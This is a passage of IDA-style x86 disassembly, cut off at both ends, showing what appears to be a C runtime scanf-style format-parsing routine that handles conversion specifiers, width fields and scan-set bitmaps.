		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_469528
		call	sub_41BD71
		add	esp, 20h
		test	eax, eax
		jz	short loc_41ACCB
		cmp	eax, 1
		jnz	short loc_41AD2D
		movzx	eax, [ebp+var_4]
		jmp	short loc_41AD3A
; ---------------------------------------------------------------------------

loc_41AD2D:				; CODE XREF: sub_41AC71+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41AD3A:				; CODE XREF: sub_41AC71+14j
					; sub_41AC71+1Dj ...
		pop	ebx
		leave
		retn
sub_41AC71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD3D	proc near		; CODE XREF: sub_416AA0+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41B743
		mov	edi, [ebp+arg_0]
		jmp	short loc_41AD6C
; ---------------------------------------------------------------------------

loc_41AD67:				; CODE XREF: sub_41AD3D+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_41AD6C:				; CODE XREF: sub_41AD3D+28j
		cmp	dword_437F7C, 1
		jle	short loc_41AD84
		movzx	eax, al
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41AD93
; ---------------------------------------------------------------------------

loc_41AD84:				; CODE XREF: sub_41AD3D+36j
		mov	ecx, off_437D70
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41AD93:				; CODE XREF: sub_41AD3D+45j
		cmp	eax, ebx
		jz	short loc_41ADCD
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7CA
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B7B3
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E095
		add	esp, 0Ch

loc_41ADBB:				; CODE XREF: sub_41AD3D+8Ej
		test	eax, eax
		jz	short loc_41ADCD
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E095
		pop	ecx
		jmp	short loc_41ADBB
; ---------------------------------------------------------------------------

loc_41ADCD:				; CODE XREF: sub_41AD3D+58j
					; sub_41AD3D+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41B6AF
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_41AE04:				; CODE XREF: sub_41AD3D+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_437F7C, 1
		jle	short loc_41AE21
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41AE30
; ---------------------------------------------------------------------------

loc_41AE21:				; CODE XREF: sub_41AD3D+D3j
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41AE30:				; CODE XREF: sub_41AD3D+E2j
		test	eax, eax
		jz	short loc_41AE46
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AE46:				; CODE XREF: sub_41AD3D+F5j
		cmp	ebx, 4Eh
		jg	short loc_41AE89
		jz	short loc_41AEAB
		cmp	ebx, 2Ah
		jz	short loc_41AE84
		cmp	ebx, 46h
		jz	short loc_41AEAB
		cmp	ebx, 49h
		jz	short loc_41AE66
		cmp	ebx, 4Ch
		jnz	short loc_41AE98
		inc	[ebp+var_D]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AE66:				; CODE XREF: sub_41AD3D+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41AE98
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41AE98
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AE84:				; CODE XREF: sub_41AD3D+113j
		inc	[ebp+var_E]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AE89:				; CODE XREF: sub_41AD3D+10Cj
		cmp	ebx, 68h
		jz	short loc_41AEA5
		cmp	ebx, 6Ch
		jz	short loc_41AE9D
		cmp	ebx, 77h
		jz	short loc_41AEA0

loc_41AE98:				; CODE XREF: sub_41AD3D+122j
					; sub_41AD3D+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AE9D:				; CODE XREF: sub_41AD3D+154j
		inc	[ebp+var_D]

loc_41AEA0:				; CODE XREF: sub_41AD3D+159j
		inc	[ebp+var_5]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AEA5:				; CODE XREF: sub_41AD3D+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_41AEAB:				; CODE XREF: sub_41AD3D+107j
					; sub_41AD3D+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41AE04
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41AED0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_41AED0:				; CODE XREF: sub_41AD3D+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41AEEE
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41AEEA
		cmp	al, 43h
		jz	short loc_41AEEA
		or	[ebp+var_5], 0FFh
		jmp	short loc_41AEEE
; ---------------------------------------------------------------------------

loc_41AEEA:				; CODE XREF: sub_41AD3D+1A1j
					; sub_41AD3D+1A5j
		mov	[ebp+var_5], 1

loc_41AEEE:				; CODE XREF: sub_41AD3D+19Bj
					; sub_41AD3D+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41AF27
		cmp	esi, 63h
		jz	short loc_41AF18
		cmp	esi, 7Bh
		jz	short loc_41AF18
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41B7CA
		pop	ecx
		jmp	short loc_41AF23
; ---------------------------------------------------------------------------

loc_41AF18:				; CODE XREF: sub_41AD3D+1C5j
					; sub_41AD3D+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799

loc_41AF23:				; CODE XREF: sub_41AD3D+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_41AF27:				; CODE XREF: sub_41AD3D+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41AF37
		cmp	[ebp+var_C], eax
		jz	loc_41B713

loc_41AF37:				; CODE XREF: sub_41AD3D+1EFj
		cmp	esi, 6Fh
		jg	loc_41B19E
		jz	loc_41B450
		cmp	esi, 63h
		jz	loc_41B17B
		cmp	esi, 64h
		jz	loc_41B450
		jle	loc_41B1C8
		cmp	esi, 67h
		jle	short loc_41AF9B
		cmp	esi, 69h
		jz	short loc_41AF83
		cmp	esi, 6Eh
		jnz	loc_41B1C8
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41B67E
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------

loc_41AF83:				; CODE XREF: sub_41AD3D+229j
		push	64h
		pop	esi

loc_41AF86:				; CODE XREF: sub_41AD3D+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41B210
		mov	[ebp+var_17], 1
		jmp	loc_41B215
; ---------------------------------------------------------------------------

loc_41AF9B:				; CODE XREF: sub_41AD3D+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41AFB7
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41AFBC
; ---------------------------------------------------------------------------

loc_41AFB7:				; CODE XREF: sub_41AD3D+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41AFD3

loc_41AFBC:				; CODE XREF: sub_41AD3D+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFD6
; ---------------------------------------------------------------------------

loc_41AFD3:				; CODE XREF: sub_41AD3D+27Dj
		mov	edi, [ebp+arg_0]

loc_41AFD6:				; CODE XREF: sub_41AD3D+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41AFE5
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41AFEC

loc_41AFE5:				; CODE XREF: sub_41AD3D+29Dj
		mov	[ebp+var_C], 15Dh

loc_41AFEC:				; CODE XREF: sub_41AD3D+2A6j
					; sub_41AD3D+2F2j
		cmp	dword_437F7C, 1
		jle	short loc_41B001
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B00C
; ---------------------------------------------------------------------------

loc_41B001:				; CODE XREF: sub_41AD3D+2B6j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41B00C:				; CODE XREF: sub_41AD3D+2C2j
		test	eax, eax
		jz	short loc_41B031
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B031
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFEC
; ---------------------------------------------------------------------------

loc_41B031:				; CODE XREF: sub_41AD3D+2D1j
					; sub_41AD3D+2DBj
		cmp	byte_437F80, bl
		jnz	short loc_41B09F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B09F
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		mov	al, byte_437F80
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_41B05A:				; CODE XREF: sub_41AD3D+360j
		cmp	dword_437F7C, 1
		jle	short loc_41B06F
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B07A
; ---------------------------------------------------------------------------

loc_41B06F:				; CODE XREF: sub_41AD3D+324j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41B07A:				; CODE XREF: sub_41AD3D+330j
		test	eax, eax
		jz	short loc_41B09F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B09F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B05A
; ---------------------------------------------------------------------------

loc_41B09F:				; CODE XREF: sub_41AD3D+2FAj
					; sub_41AD3D+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41B137
		cmp	ebx, 65h
		jz	short loc_41B0B7
		cmp	ebx, 45h
		jnz	loc_41B137

loc_41B0B7:				; CODE XREF: sub_41AD3D+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B137
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41B0DE
		mov	[esi], al
		inc	esi
		jmp	short loc_41B0E3
; ---------------------------------------------------------------------------

loc_41B0DE:				; CODE XREF: sub_41AD3D+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B101

loc_41B0E3:				; CODE XREF: sub_41AD3D+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41B0F2
		and	[ebp+var_C], eax
		jmp	short loc_41B101
; ---------------------------------------------------------------------------

loc_41B0F2:				; CODE XREF: sub_41AD3D+3AEj
					; sub_41AD3D+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41B101:				; CODE XREF: sub_41AD3D+3A4j
					; sub_41AD3D+3B3j
		cmp	dword_437F7C, 1
		jle	short loc_41B116
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B121
; ---------------------------------------------------------------------------

loc_41B116:				; CODE XREF: sub_41AD3D+3CBj
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41B121:				; CODE XREF: sub_41AD3D+3D7j
		test	eax, eax
		jz	short loc_41B137
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B137
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41B0F2
; ---------------------------------------------------------------------------

loc_41B137:				; CODE XREF: sub_41AD3D+366j
					; sub_41AD3D+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B7B3
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_4380B0
		add	esp, 0Ch
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B17B:				; CODE XREF: sub_41AD3D+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41B18A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_41B18A:				; CODE XREF: sub_41AD3D+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41B194
		mov	[ebp+var_16], 1

loc_41B194:				; CODE XREF: sub_41AD3D+451j
		mov	edi, offset dword_4380E0
		jmp	loc_41B2A9
; ---------------------------------------------------------------------------

loc_41B19E:				; CODE XREF: sub_41AD3D+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41B44C
		sub	eax, 3
		jz	loc_41B29A
		dec	eax
		dec	eax
		jz	loc_41B450
		sub	eax, 3
		jz	loc_41AF86
		sub	eax, 3
		jz	short loc_41B1EC

loc_41B1C8:				; CODE XREF: sub_41AD3D+21Bj
					; sub_41AD3D+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41B713
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B1EC:				; CODE XREF: sub_41AD3D+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41B1F6
		mov	[ebp+var_16], 1

loc_41B1F6:				; CODE XREF: sub_41AD3D+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41B2AD
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41B2A9
; ---------------------------------------------------------------------------

loc_41B210:				; CODE XREF: sub_41AD3D+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41B237

loc_41B215:				; CODE XREF: sub_41AD3D+259j
		dec	[ebp+var_C]
		jnz	short loc_41B226
		cmp	[ebp+var_20], 0
		jz	short loc_41B226
		mov	[ebp+var_F], 1
		jmp	short loc_41B237
; ---------------------------------------------------------------------------

loc_41B226:				; CODE XREF: sub_41AD3D+4DBj
					; sub_41AD3D+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41B237:				; CODE XREF: sub_41AD3D+4D6j
					; sub_41AD3D+4E7j
		cmp	ebx, 30h
		jnz	loc_41B485
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41B285
		cmp	bl, 58h
		jz	short loc_41B285
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41B26F
		push	6Fh

loc_41B269:				; CODE XREF: sub_41AD3D+55Bj
		pop	esi
		jmp	loc_41B485
; ---------------------------------------------------------------------------

loc_41B26F:				; CODE XREF: sub_41AD3D+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41B482
; ---------------------------------------------------------------------------

loc_41B285:				; CODE XREF: sub_41AD3D+517j
					; sub_41AD3D+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41B269
; ---------------------------------------------------------------------------

loc_41B29A:				; CODE XREF: sub_41AD3D+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41B2A4
		mov	[ebp+var_16], 1

loc_41B2A4:				; CODE XREF: sub_41AD3D+561j
		mov	edi, offset dword_4380D8

loc_41B2A9:				; CODE XREF: sub_41AD3D+45Cj
					; sub_41AD3D+4CEj
		or	[ebp+var_18], 0FFh

loc_41B2AD:				; CODE XREF: sub_41AD3D+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B2D1
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41B2D1
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------

loc_41B2D1:				; CODE XREF: sub_41AD3D+584j
					; sub_41AD3D+589j
		mov	dl, [ebp+var_35]

loc_41B2D4:				; CODE XREF: sub_41AD3D+592j
					; sub_41AD3D+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41B339
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41B320
		test	dl, dl
		jz	short loc_41B320
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41B320
		inc	edi
		cmp	dl, cl
		jnb	short loc_41B2F3
		mov	al, cl
		jmp	short loc_41B2F7
; ---------------------------------------------------------------------------

loc_41B2F3:				; CODE XREF: sub_41AD3D+5B0j
		mov	al, dl
		mov	dl, cl

loc_41B2F7:				; CODE XREF: sub_41AD3D+5B4j
		cmp	dl, al
		ja	short loc_41B31C
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_41B304:				; CODE XREF: sub_41AD3D+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41B304

loc_41B31C:				; CODE XREF: sub_41AD3D+5BCj
		xor	dl, dl
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------

loc_41B320:				; CODE XREF: sub_41AD3D+5A0j
					; sub_41AD3D+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------

loc_41B339:				; CODE XREF: sub_41AD3D+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41B743
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B34B
		mov	[ebp+arg_4], edi

loc_41B34B:				; CODE XREF: sub_41AD3D+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41B7B3
		pop	ecx
		pop	ecx

loc_41B362:				; CODE XREF: sub_41AD3D+6BCj
					; sub_41AD3D+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41B376
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41B412

loc_41B376:				; CODE XREF: sub_41AD3D+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41B406
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41B406
		cmp	[ebp+var_E], 0
		jnz	short loc_41B3FE
		cmp	[ebp+var_16], 0
		jz	short loc_41B3F3
		mov	ecx, off_437D70
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B3D2
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		pop	ecx
		mov	[ebp+var_37], al

loc_41B3D2:				; CODE XREF: sub_41AD3D+686j
		push	dword_437F7C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41DFCD
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41B3F6
; ---------------------------------------------------------------------------

loc_41B3F3:				; CODE XREF: sub_41AD3D+673j
		mov	[esi], al
		inc	esi

loc_41B3F6:				; CODE XREF: sub_41AD3D+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41B362
; ---------------------------------------------------------------------------

loc_41B3FE:				; CODE XREF: sub_41AD3D+66Dj
		inc	[ebp+var_30]
		jmp	loc_41B362
; ---------------------------------------------------------------------------

loc_41B406:				; CODE XREF: sub_41AD3D+649j
					; sub_41AD3D+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7B3
		pop	ecx
		pop	ecx

loc_41B412:				; CODE XREF: sub_41AD3D+633j
		cmp	[ebp+var_30], esi
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41B6A4
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B444
		and	word ptr [eax],	0
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B444:				; CODE XREF: sub_41AD3D+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B44C:				; CODE XREF: sub_41AD3D+466j
		mov	[ebp+var_D], 1

loc_41B450:				; CODE XREF: sub_41AD3D+203j
					; sub_41AD3D+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41B45E
		mov	[ebp+var_17], 1
		jmp	short loc_41B463
; ---------------------------------------------------------------------------

loc_41B45E:				; CODE XREF: sub_41AD3D+719j
		cmp	ebx, 2Bh
		jnz	short loc_41B485

loc_41B463:				; CODE XREF: sub_41AD3D+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41B474
		cmp	[ebp+var_20], 0
		jz	short loc_41B474
		mov	[ebp+var_F], 1
		jmp	short loc_41B485
; ---------------------------------------------------------------------------

loc_41B474:				; CODE XREF: sub_41AD3D+729j
					; sub_41AD3D+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		pop	ecx
		mov	ebx, eax

loc_41B482:				; CODE XREF: sub_41AD3D+543j
		mov	[ebp+var_14], ebx

loc_41B485:				; CODE XREF: sub_41AD3D+4FDj
					; sub_41AD3D+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41B59E
		cmp	[ebp+var_F], 0
		jnz	loc_41B57C

loc_41B499:				; CODE XREF: sub_41AD3D+82Cj
		cmp	esi, 78h
		jnz	short loc_41B4ED
		cmp	dword_437F7C, 1
		jle	short loc_41B4B6
		push	80h
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B4C3
; ---------------------------------------------------------------------------

loc_41B4B6:				; CODE XREF: sub_41AD3D+768j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41B4C3:				; CODE XREF: sub_41AD3D+777j
		test	eax, eax
		jz	loc_41B56E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41E0C0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41B762
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B540
; ---------------------------------------------------------------------------

loc_41B4ED:				; CODE XREF: sub_41AD3D+75Fj
		cmp	dword_437F7C, 1
		jle	short loc_41B502
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B50D
; ---------------------------------------------------------------------------

loc_41B502:				; CODE XREF: sub_41AD3D+7B7j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41B50D:				; CODE XREF: sub_41AD3D+7C3j
		test	eax, eax
		jz	short loc_41B56E
		cmp	esi, 6Fh
		jnz	short loc_41B52B
		cmp	ebx, 38h
		jge	short loc_41B56E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41E0C0
		jmp	short loc_41B53A
; ---------------------------------------------------------------------------

loc_41B52B:				; CODE XREF: sub_41AD3D+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_4159A0

loc_41B53A:				; CODE XREF: sub_41AD3D+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_41B540:				; CODE XREF: sub_41AD3D+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41B558
		dec	[ebp+var_C]
		jz	short loc_41B57C

loc_41B558:				; CODE XREF: sub_41AD3D+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B499
; ---------------------------------------------------------------------------

loc_41B56E:				; CODE XREF: sub_41AD3D+788j
					; sub_41AD3D+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx

loc_41B57C:				; CODE XREF: sub_41AD3D+756j
					; sub_41AD3D+819j
		cmp	[ebp+var_17], 0
		jz	loc_41B662
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41B662
; ---------------------------------------------------------------------------

loc_41B59E:				; CODE XREF: sub_41AD3D+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41B65A

loc_41B5A8:				; CODE XREF: sub_41AD3D+90Aj
		cmp	esi, 78h
		jz	short loc_41B5EC
		cmp	esi, 70h
		jz	short loc_41B5EC
		cmp	dword_437F7C, 1
		jle	short loc_41B5C7
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B5D2
; ---------------------------------------------------------------------------

loc_41B5C7:				; CODE XREF: sub_41AD3D+87Cj
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41B5D2:				; CODE XREF: sub_41AD3D+888j
		test	eax, eax
		jz	short loc_41B64C
		cmp	esi, 6Fh
		jnz	short loc_41B5E5
		cmp	ebx, 38h
		jge	short loc_41B64C
		shl	edi, 3
		jmp	short loc_41B624
